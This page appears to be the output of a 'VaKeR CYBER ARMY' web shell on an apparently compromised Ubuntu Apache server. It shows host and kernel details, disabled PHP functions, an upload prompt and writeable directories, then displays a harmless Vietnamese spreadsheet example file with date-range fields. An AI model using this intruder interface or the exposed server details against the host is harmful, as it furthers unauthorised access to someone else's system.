VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-sheet/example_data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-sheet/example_data/ex_002.js
module.exports =  {
    exampleTitle: "Min max ngày tháng",
    propertyNames: [
        "id",
        'start_date',
        'end_date',
        'duration',
        'status'
    ],
    propertyDescriptors: {
        id:{
          type:'unique<string>',
          text:"Mã"
        },
        start_date: {
            text: "Ngày bắt đầu",
            type: 'Date',
            max: '= end_date',
            readOnly:'= status > 0',
            required: true
        },
        end_date: {
            type: 'Date',
            text: "Ngày kết thúc",
            min: '= start_date',
            readOnly:'= status > 1',
            required: true
        },
        duration: {
            type: 'number',
            text: "Thời gian",
            calc: '= DATEDIF(start_date, end_date, "D")'
        },
        status: {
            text: 'Tình trạng',
            type: 'enum',
            readOnly:'= !start_date || !end_date',
            items: [{ text: 'Chưa làm', value: 0 }, { text: "Đang làm", value: 1 }, { text: "Hoàn thành", value: 2 }]
        }
    },
    records: [
        {
            "start_date": "2010-11-11T17:00:00.000Z",
            "end_date": "2010-12-28T17:00:00.000Z",
            "duration": 47,
            "status": 1
        },
        {
            "duration": 14,
            "status": 0,
            "start_date": "2021-07-22T17:00:00.000Z",
            "end_date": "2021-08-05T17:00:00.000Z"
        }
    ]
};

VaKeR 2022